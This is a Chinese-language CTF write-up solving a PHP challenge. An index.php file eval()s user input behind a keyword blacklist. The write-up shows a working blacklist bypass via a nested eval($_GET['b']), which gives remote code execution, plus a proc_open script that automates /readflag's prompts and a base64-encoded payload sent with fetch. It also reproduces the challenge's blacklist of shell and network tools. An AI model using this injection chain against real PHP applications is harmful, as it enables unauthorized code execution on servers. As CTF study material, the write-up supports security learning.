题目

题目环境中的 /flag 权限是 700,所以不能直接读取。但是存在一个可执行文件 /readflag,我将其扒下来反编译过,其主函数如下:

Screenshot-202311061332.webp

题给的 index.php 如下:

1
2
3
4
5
6
7
8
9
10
<?php
#error_reporting(0);
$blacklist=['y','sh','print','printf','cat','tac','read','vim','curl','ftp','glob','flag','\|','`'];
foreach ($blacklist as $black) {
if (stristr($_GET['a'], $black)) {
die('hacker?');
}
}
eval($_GET['a']);
?>

题解

首先是 PHP 中对于 $_GET['a'] 的黑名单绕过,这点其实很好绕过:另起门户

1
/?a=eval($_GET['b']);&b=system('...')

Screenshot-202311060911.webp

此时尝试直接读取 /flag 遇到 Premission Denied,但是可以发现存在可执行文件 /readflag,不过尝试运行它后发现这是个交互式程序:

1
You want flag? (y/n)

赛场上尝试过利用 Bash 特性 echo 'y' | /readflag 解决这个问题,然后发现后面还有交互式计算题。此时我直接将这个可执行文件下载了下来进行了反编译,发现其计算题次数不能固定,题目也是随机的,所以此处只能写脚本对其交互。最后我写的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$descriptors = array(
0 => array('pipe', 'r'), // 标准输入
1 => array('pipe', 'w'), // 标准输出
2 => array('pipe', 'w'), // 标准错误
);

$process = proc_open('/readflag', $descriptors, $pipes);

echo fgets($pipes[1]);
fwrite($pipes[0], "y\n");

echo fgets($pipes[1]);
while (true) {
$line = fgets($pipes[1]);
echo $line;
if (strpos($line, '+') == false) break;
[$a, $b] = explode('+', explode(' = ', $line)[0] );
fwrite($pipes[0], (int)$a + (int)$b . "\n");
}

echo fgets($pipes[1]);
echo fgets($pipes[1]);

然后将其通过一些骚操作(此处 Base64 编码只是方便把代码丢上去,此处没有过滤可以随心所欲)让服务器执行这个脚本,就能得到 Flag(预期)了:

1
2
3
4
console.log(await(await fetch("/?a=eval($_GET['b']);&b=eval(base64_decode(file_get_contents('php://input')));", {
"body": "CiRkZXNjcmlwdG9ycyA9IGFycmF5KA0KICAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLCAvLyDmoIflh4bovpPlhaUNCiAgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwgLy8g5qCH5YeG6L6T5Ye6DQogICAgMiA9PiBhcnJheSgncGlwZScsICd3JyksIC8vIOagh+WHhumUmeivrw0KKTsNCg0KJHByb2Nlc3MgPSBwcm9jX29wZW4oDQogICAgJ3B5dGhvbiByZWFkZmxhZy5weScsDQogICAgJGRlc2NyaXB0b3JzLA0KICAgICRwaXBlcw0KKTsNCg0KZWNobyBmZ2V0cygkcGlwZXNbMV0pOw0KZndyaXRlKCRwaXBlc1swXSwgInlcbiIpOw0KDQplY2hvIGZnZXRzKCRwaXBlc1sxXSk7DQp3aGlsZSAodHJ1ZSkgew0KICAgICRsaW5lID0gZmdldHMoJHBpcGVzWzFdKTsNCiAgICBlY2hvICRsaW5lOw0KICAgIGlmIChzdHJwb3MoJGxpbmUsICcrJykgPT0gZmFsc2UpDQogICAgICAgIGJyZWFrOw0KICAgIFskYSwgJGJdID0gZXhwbG9kZSgNCiAgICAgICAgJyArICcsDQogICAgICAgIGV4cGxvZGUoJyA9ICcsICRsaW5lKVswXQ0KICAgICk7DQogICAgZndyaXRlKCRwaXBlc1swXSwgKGludCkkYSArIChpbnQpJGIgLiAiXG4iKTsNCn0NCg0KZWNobyBmZ2V0cygkcGlwZXNbMV0pOw0KZWNobyBmZ2V0cygkcGlwZXNbMV0pOw0K",
"method": "POST",
})).text())